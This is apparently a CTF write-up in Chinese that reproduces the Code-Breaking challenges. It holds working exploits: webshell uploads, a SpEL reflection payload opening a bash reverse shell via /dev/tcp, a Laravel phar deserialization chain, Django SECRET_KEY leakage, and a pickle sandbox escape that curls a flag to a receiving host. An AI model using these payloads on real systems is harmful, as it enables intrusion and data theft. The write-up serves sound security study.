CodeBreaking : https://code-breaking.com/
在线正则表达式匹配 : https://regex101.com/
根据已有的大佬们的 wp 对 code breaking 做的一个复现,很多内容都是第一次接触,对涉及到的知识点做些总结和拓展。
create_function 注入
源码
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
正则 /i
不区分大小写,/s
匹配任何不可见字符,包括空格,TAB,换行,/D
如果使用 $
限制结尾字符,则不允许结尾有换行
preg_match('/^[a-z0-9_]*$/isD', $action)
匹配所有字母,数字和下划线开头的字符串
想通过 fuzz 找到字符串以达到 bypass 的目的
import requests url_start = 'http://192.168.233.132:8087/?action=' url_end = 'var_dump&arg=2' for i in range(1,256): i = chr(i).encode() para = i.hex() url = url_start + '%' + str(para) + url_end r = requests.get(url=url) # 不出现 error 且 不返回 index.php if (r.headers['Content-Length'] != '279') and ('error' not in r.text): print(para)
找到了 %5c
,即 \
,可以让 var_dump 成功执行,ph 牛给了如下的解释。接下来就是 getshell 函数的寻找,要有两个参数且第二个参数可能会导致 RCE
php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
不难发现函数 create_function,官方定义如图
以如下代码为例
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?>
第一行代码等价于
eval( function __lambda_func($a, $b){ return "ln($a) + ln($b) = " . log($a * $b); } )
本题就可以构造 payload : action=\create_function&arg=return 'peri0d';}var_dump(scandir('../'));/*
,然后 readfile(flag) 即可
相当于
eval( function __lambda_func($a, $b){ return 'peri0d';} var_dump(scandir('../')); /* } )
PCRE 回溯次数限制绕过正则
源码
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); }
上传文件,使用正则判断是否含有 php 代码,正则 /i
不区分大小写,/s
匹配任何不可见字符,包括空格,TAB,换行。
如果不含有 php 代码,上传的文件会被保存,并在 http 中重定向到文件路径
常见的正则引擎有两种,DFA 和 NFA,php 中的 PCRE 库使用的是 NFA,
假设待匹配字符串 <?php phpinfo();//aaaaa
匹配顺序如下图 :
在第四步,由于匹配的是 .*
任意多个字符,所以匹配到最后
按照正则,在 .*
后面应该是 [(`;?>]
,显然 //aaaaa
不对,所以依次吐出这几个字符,即回溯,这里总共回溯了 8 次,回溯到 ;
时 .*
匹配的是 <?php phpinfo()
,后面的 ;
符合 [(`;?>]
,所以匹配 ;
,然后正则最后的 .*
匹配到最后
php 有一个回溯上限 backtrack_limit
,默认是 1000000。如果回溯上限超过 100 万那么 preg_match 返回 false ,既不是 1 也不是 0 ,这样就可以绕过了
对应 poc :
import requests from io import BytesIO url = 'http://192.168.233.132:8088/index.php' files = { 'file': BytesIO(b'<?php eval($_POST[shell]);//' + b'a'*1000000) } # 请求并禁止重定向 r = requests.post(url=url, files=files, allow_redirects=False) print(r.headers)
可以获取 shell 位置,连接即可
如下一个 waf :
<?php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection'); }
输入 UNION/*aaaaa*/SELECT
,这个正则表达式执行流程如下
.+?
匹配 / S
匹配 ,匹配失败,回溯,由 .+?
匹配 ,成功这里也可以利用回溯次数限制绕过正则
preg_match
返回的是匹配到的次数,如果匹配不到会返回 0 ,如果报错就会返回 false 。所以,对 preg_match
来说,只要对返回结果有判断,就可以避免这样的问题
伪协议解码 base64 写入 shell
代码如下
<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); if(!empty($_POST) && $domain){ $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; } endif; ?>
$_SERVER['REMOTE_ADDR']
获取浏览当前页面的用户的 IP 地址,在 data 下创建文件夹,用于存储 output
$domain 和 $log 两个参数可控,$domain 用于 dig 命令,$log 用于将结果写入
在 php 中,只要是传 filename 的地方,都可以传协议流
思路就是 $log_name 处利用伪协议将 $output 处的字符串 base64 解码写入 webshell
$_SERVER['SERVER_NAME']
获取当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。这个值可以更改,由 HTTP Header 中的 Host 决定。
pathinfo()
函数过滤后缀名,但是,只要在后缀名后加上 /.
,它就获取不到后缀名了,且可以正常写入 .php
之中。php 在处理路径的时候,会递归删除掉路径中存在的 /.
php 伪协议 base64 解码中,如果遇到不合规范的字符就直接跳过。base64 解码是按照 4 位解的,所以要只有传入 4 的倍数位字符串才能解码为正常字符串,且传入的 base64 不能以 ==
结尾,==
出现在 base64 中间不符合规则,可能会无法解析
payload :
POST Host: php domain=YWFhYTw/cGhwIGV2YWwoJF9QT1NUWydzaGVsbCddKTsgLy8q&log=://filter/write=convert.base64-decode/resource=/var/www/html/data/daa6b8b28b2eda419112a887399ce9fc/shell.php/.
结果 :
无参 RCE
代码如下 :
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
ciscn 2019 和 rctf 2018 的题目,统计一下这一题的解法,主要是 get_defined_vars() 和 session_id() 两个函数
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
,\W
匹配任意字母和数字,(?R)?
重复整个模式,?R
是 php 中的一种递归模式,合在一起类似于匹配 x(y(z()))
样式的,且不能存在参数,输入 ?code=phpinfo();
可以查看 phpinfo 页面
在 rctf 2018 的题目中使用的是 apache 的容器,在本题使用 nginx 容器,都是考虑通过修改请求头信息来实现 RCE
在 apache 中可以使用 getallheaders()
获取所有头信息,而在 nginx 中可以使用 get_defined_vars()
函数获取所有已定义的变量列表,然后就可以通过位置函数来操控数组
session_id()
可以获取 PHPSESSID,虽然 PHPSESSID 只允许字母数字和下划线出现,hex2bin
转换一下编码即可
几个 payload :
// 第一个 ?code=eval(hex2bin(session_id(session_start()))); // echo 'peri0d'; Cookie: PHPSESSID=6563686f2027706572693064273b //第二个 ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../')); //第三个 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
js 的题目,关于 javascript 的大小写特性,两个函数 toLowerCase() 和 toLowerCase()
代码如下 :
// initial libraries const Koa = require('koa') const sqlite = require('sqlite') const fs = require('fs') const views = require('koa-views') const Router = require('koa-router') const send = require('koa-send') const bodyParser = require('koa-bodyparser') const session = require('koa-session') const isString = require('underscore').isString const basename = require('path').basename const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'})) async function main() { const app = new Koa() const router = new Router() const db = await sqlite.open(':memory:') await db.exec(`CREATE TABLE "main"."users" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "username" TEXT NOT NULL, "password" TEXT, CONSTRAINT "unique_username" UNIQUE ("username") )`) await db.exec(`CREATE TABLE "main"."flags" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "flag" TEXT NOT NULL )`) for (let user of config.users) { await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`) } await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`) router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source) app.use(views(__dirname + '/views', { map: { html: 'underscore' }, extension: 'html' })).use(bodyParser()).use(session(app)) app.use(router.routes()).use(router.allowedMethods()); app.keys = config.signed app.context.db = db app.context.router = router app.listen(3000) } function safeKeyword(keyword) { if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) { return keyword } return undefined } async function login(ctx, next) { if(ctx.method == 'POST') { let username = safeKeyword(ctx.request.body['username']) let password = safeKeyword(ctx.request.body['password']) let jump = ctx.router.url('login') if (username && password) { let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`) if (user) { ctx.session.user = user jump = ctx.router.url('admin') } } ctx.status = 303 ctx.redirect(jump) } else { await ctx.render('index') } } async function static(ctx, next) { await send(ctx, ctx.path) } async function admin(ctx, next) { if(!ctx.session.user) { ctx.status = 303 return ctx.redirect(ctx.router.url('login')) } await ctx.render('admin', { 'user': ctx.session.user }) } async function source(ctx, next) { await send(ctx, basename(__filename)) } main()
关键代码在于 safeKeyword() 函数,过滤了 union 和 select
function safeKeyword(keyword) { if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) { return keyword } return undefined }
p 牛在博客中提到过如下特性,但是也适用于 python 中,这样就可以绕过保护函数,达到注入的目的
" ı ".toUpperCase() == ' I '
" ſ ".toUpperCase() == ' S '
" K ".toLowerCase() == ' k '
payload :
POST username=peri0d&password=' un%C4%B1on %C5%BFelect 1,(%C5%BFelect flag from flags),3'
EI 表达式注入,http://rui0.cn/archives/1043
基础知识
目录结构如下
SpringBoot 框架,看了一下 Spring 表达式
public class HelloWorld { public static void main(String[] args) { //构造上下文:准备比如变量定义等等表达式运行需要的上下文数据 EvaluationContext context = new StandardEvaluationContext(); //创建解析器:提供SpelExpressionParser默认实现 ExpressionParser parser = new SpelExpressionParser(); //解析表达式:使用ExpressionParser来解析表达式为相应的Expression对象 Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)"); //设置上下文中的变量的值 context.setVariable("end", "!SpringEL"); //执行表达式,获取运行结果 String str = (String)expression.getValue(context); // the str=Hello World!SpringEL System.out.println("the str="+str); } }
先看配置文件 application.yml
,提供了一个黑名单和用户列表
spring: thymeleaf: encoding: UTF-8 cache: false mode: HTML keywords: blacklist: - java.+lang - Runtime - exec.*\( user: username: admin password: admin rememberMeKey: c0dehack1nghere1
文件结构 :
SmallEvaluationContext.java
实现构造上下文的功能ChallengeApplication.java
实现启动功能Encryptor.java
实现 AES
加解密KeyworkProperties.java
实现黑名单UserConfig.java
实现用户模型,其中的 RememberMe
用到了 Encryptor
MainController.java
控制程序的主要逻辑主要看 MainController.java
中的代码,在 login
功能处,如果勾选 Remember me
就会返回一个加密之后的 cookie,然后跳转到 hello.html
@PostMapping("/login") public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) { if (userConfig.getUsername().contentEquals(username) && userConfig.getPassword().contentEquals(password)) { session.setAttribute("username", username); if (isRemember != null && !isRemember.equals("")) { Cookie c = new Cookie("remember-me", userConfig.encryptRememberMe()); c.setMaxAge(60 * 60 * 24 * 30); response.addCookie(c); } return "redirect:/"; } return "redirect:/login-error"; }
对敏感信息 cookie
的操作如下,首先判断 remember-me
是否存在,然后获取其值进行解密,直接将它赋值给 username
,接下来就是使用 getAdvanceValue()
这个自定义函数赋值给 name
@GetMapping public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,HttpSession session,Model model) { if (rememberMeValue != null && !rememberMeValue.equals("")) { String username = userConfig.decryptRememberMe(rememberMeValue); if (username != null) { session.setAttribute("username", username); } } Object username = session.getAttribute("username"); if(username == null || username.toString().equals("")) { return "redirect:/login"; } model.addAttribute("name", getAdvanceValue(username.toString())); return "hello"; }
getAdvanceValue
函数如下,就是与黑名单匹配,如果匹配则抛出 FORBIDDEN
,否则进行正常的 SpEL 解析
private String getAdvanceValue(String val) { for (String keyword: keyworkProperties.getBlacklist()) { Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val); if (matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } } ParserContext parserContext = new TemplateParserContext(); Expression exp = parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); }
这里就是 SpEL 注入实现 RCE 了,在不指定 EvaluationContext
时,默认采用的是 StandardEvaluationContext
,这里还进行了黑名单匹配,利用反射就可以绕过黑名单
在 JAVA 中,通过 java.lang.Runtime.getRuntime().exec(cmd)
来执行命令,这里可以利用反射写一个反弹 shell 来 getshell,构造 payload 如下 :
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.233.130/2333 0>&1"})}
加密之后修改 cookie 发送
import static net.mindview.util.Print.*; public class sss { public static void main(String[] args) { String x = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.233.130/2333 0>&1\"})}"; String y = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", x); print(y); } }
实现反弹 shell
寻找 POP 链,phar 反序列化,GitHub 给的 docker 环境好像有点问题
https://github.com/phith0n/code-breaking/blob/master/2018/lumenserial
首先看一下路由信息,当访问 /server/editor
时会调用 App\Http\Controllers
的 main
方法
$router->get('/server/editor', 'EditorController@main'); $router->post('/server/editor', 'EditorController@main');
进入 EditorController.php
文件,存在 doUploadImage
,doCatchimage
,doListImage
,doConfig
的功能。进入 main
,从 url 获取 action 参数,如果 action 存在就执行这个函数,返回结果均为 json 格式
public function main(Request $request) { $action = $request->query('action'); try { if (is_string($action) && method_exists($this, "do{$action}")) { return call_user_func([$this, "do{$action}"], $request); } else { throw new FileException('Method error'); } } catch (FileException $e) { return response()->json(['state' => $e->getMessage()]); } }
在 download
函数中,$url
未经过滤就传给了 file_get_contents
,而 $url
源自 doCatchimage
中的 $request->input($this->config['catcherFieldName'])
,查看配置文件 /resources/editor/config.json
就可以知道其值为 source
,也就是 url 中的 source 参数,然后就可以利用 phar 反序列化
protected function doCatchimage(Request $request) { $sources = $request->input($this->config['catcherFieldName']); $rets = []; if ($sources) { foreach ($sources as $url) { $rets[] = $this->download($url); } } return response()->json([ 'state' => 'SUCCESS', 'list' => $rets ]); }
可以直接根据已有的 payload 构造反序列化 https://xz.aliyun.com/t/6059
exp :
<?php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; function __construct($evilCode) { $this->events = new \Illuminate\Bus\Dispatcher(); $this->event = new BroadcastEvent($evilCode); } } class BroadcastEvent { public $connection; function __construct($evilCode) { $this->connection = new \Mockery\Generator\MockDefinition($evilCode); } } } namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; function __construct() { $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load']; } } } namespace Mockery\Loader { class EvalLoader {} } namespace Mockery\Generator { class MockDefinition { protected $config; protected $code; function __construct($evilCode) { $this->code = $evilCode; $this->config = new MockConfiguration(); } } class MockConfiguration { protected $name = 'abcdefg'; } } namespace { $code = "<?php phpinfo(); exit; ?>"; $exps = new \Illuminate\Broadcasting\PendingBroadcast($code); $p = new Phar('exp.phar', 0, 'exp.phar'); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($exps); $p->addFromString('1.txt','text'); $p->stopBuffering(); } ?>
python 反序列化,Django 模板引擎沙箱
基础知识 : python 反序列化
通常代码审计先看配置文件,Django 配置文件 web/core/setting.py
,发现如下代码 :
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
一般默认的 Django 配置文件是不含这两项的,SESSION_ENGINE
是用户 session 存储的位置,SESSION_SERIALIZER
是 session 存储的方式。用户的 session 先经过 SESSION_SERIALIZER
处理成一个字符串后存储到 SESSION_ENGINE
指定的位置。在这里,就是 session 使用 pickle 的序列化方法,经过签名后存储在 cookies 中,我们所不知道的就是签名的密钥
思路就是获取密钥,pickle 反序列化
阅读路由信息,首先会调用 views.RegistrationLoginView.as_view()
函数,进行登录或者注册之后,在 views.index()
函数中直接将用户名拼接到模板中,也就是说这里存在着 SSTI 漏洞,那就可以利用它获取 SECRET_KEY
@login_required def index(request): django_engine = engines['django'] template = django_engine.from_string('My name is ' + request.user.username) return HttpResponse(template.render(None, request))
随意构造一个 username 为 {{user.password}}
可以看到一个加密后的密码,这就验证了 SSTI
在 /template/registration/login.html
的 {% csrf_token %}
处下个断点,可以看到有很多变量,其中有一部分是加载模板的时候传入的,还有一部分是 Django 自带的,可以在 settings.py
中的 templates
查看自带的变量
TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ]
这里的 context_processors
就代表会向模板中注入的一些上下文。通常来说, request
、 user
、和 perms
都是默认存在的,但显然, settings
是不存在的,我们无法直接在模板中读取 settings 中的信息,包括密钥。Django 的模板引擎有一定限制,比如无法读取用下划线开头的属性
经过一番寻找,在 request.user.groups.source_field.opts.app_config.module.admin.settings
处发现 SECRET_KEY
,那就可以构造 username 为 request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY
即可获取签名密钥了 zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm
接着就是 pickle 的反序列化了,其核心文件为 /core/serializer.py
```python
import pickle
import io
import builtins
all = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', 'import', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
- 其中设置了一个反序列化沙盒,禁用了 `'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'` 并且只允许调用 python 内置函数
- 但是 `getattr` 这个万金油函数没有被限制,那就可以使用 `builtins.getattr(builtins,'eval')` 来获取 `eval` 函数,这就相当于绕过了这个沙盒
- 首先执行 `getattr` 获取 `eval` 函数,再执行 `eval` 函数,这实际上是两步,而我们常用 `__reduce__` 生成的序列化字符串,只能执行一个函数,这就产生矛盾了,所以就要放弃 `__reduce__` 直接手写 pickle 代码
- pickle 是一种堆栈语言,它没有变量名这个概念,pickle 的内容存储在 stack(栈) 和 memo(存储信息的列表) 中。首先将 payload `b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'` 写进一个文件
```python
import pickle
import os
class Person():
def __reduce__(self):
return (os.system, ('whoami',))
person = Person()
f = open('pickle','wb')
pickle.dump(person ,f, protocol = 0)
f.close()
执行 python -m pickletools pickle
对其分析,得到一堆操作指令(opcode)
阅读源码可以获得所有的 opcodes
这段 pickle 代码所涉及到的部分符号意思如下 :
c : 引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是为什么要用getattr来获取对象)
p : 将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
( : 压入一个标志到栈中,表示元组的开始位置
V : 向栈中压入一个(unicode)字符串
t : 从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R : 从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
. : 表示整个程序结束
那么这段 pickle 就很容易懂了
assembly language
00: c GLOBAL 'nt system' # 向栈顶压入 'nt.system' 这个可执行对象
11: p PUT 0 # 将这个对象存储到 memo 的第 0 个位置
14: ( MARK # 压入一个元组的开始标志
15: V UNICODE 'whoami' # 压入字符串'whoami'
23: p PUT 1 # 将这个字符串存储到 memo 的第 1 个位置
26: t TUPLE (MARK at 14) # 将由刚压入栈中的字符串弹出,再将由这个字符串组成的元组压入栈中
27: p PUT 2 # 将这个元组存储到 memo 的第 2 个位置
30: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,这里即为 'nt.system('whoami')' ,将结果压入栈中
31: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到 memo 的第 3 个位置
34: . STOP # 程序结束
简化为如下代码,memo 没有起到太大作用,但这段代码仍然可以执行命令
nt
system
(Vwhoami
tR.
接着开始写 pickle 代码
cbuiltins # 将 builtins 设为可执行对象
getattr # 获取 getattr 方法
(cbuiltins # 压入元组开始标志,并将 builtins 设为可执行对象
dict # 获取 dict 对象
S'get' # 压入字符串 'get'
tR(cbuiltins # 弹出 builtins.dict,get 并组成新的元组压入栈中。然后执行 builtins.getattr(builtins.dict,get) 得到 get 方法压入栈中。再压入元组标志,将 builtins 设为可执行对象
globals # 获取 builtins.globals
(tRS'builtins' # 压入元组标志,执行 builtins.globals,然后压入字符串 'builtins'
tRp1 # 执行 get(builtins),获取到 builtins 对象存储到 memo[1] 处
python 代码
import pickle import builtins data = b'''cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1 .''' data = pickle.loads(data) print(data) # <module 'builtins' (built-in)>
然后利用这个没有限制的 builtins
对象获取危险函数,并执行,这就绕过了沙盒
cbuiltins # 将 builtins 设为可执行对象
getattr # 获取 getattr 方法
(g1 # 压入数组,压入上一步获取的 builtins 对象
S'eval' # 压入字符串 'eval'
tR(S'__import__("os").system("id")' # 获取到 eval 函数。将字符串 '__import__("os").system("id")' 压入
tR. # 执行 eval('__import__("os").system("id")')
上面都是绕过的分析,看一下本题有哪些可控点,考虑 SESSIONID
,接下来就看一下源码中对于它的操作
它使用的是 django.contrib.sessions.backends.signed_cookies
直接导入
python 代码
```python
import pickle
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'exec', 'execfile', 'compile', 'open', 'input', 'import', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'import("os").system("id")'
tR.
.'''
data = restricted_loads(data)
print(data)
![](https://wcgimages.oss-cn-shenzhen.aliyuncs.com/code_breaking/pickle_6.png)
- 本题的 exp 如下,由于在同一个局域网就在物理机上写了一个接收的 php
```python
from django.core import signing
import pickle
import builtins,io
import base64
import datetime
import json
import re
import time
import zlib
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl http://192.168.0.100/xss/xss.php?$(cat /flag_djang0_p1ckle | base64)")'
tR
.'''
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')
def pickle_exp(SECRET_KEY):
global data
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
SECRET_KEY = SECRET_KEY
# 根据SECRET_KEY进行Cookie的制造
session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
print(session)
if __name__ == '__main__':
SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
pickle_exp(SECRET_KEY)
xss.php
<?php $data = fopen("cookies.txt","a+"); foreach ($_GET as $key=>$value) { fwrite($data, $key.":".$value); fwrite($data, "\n"); } ?>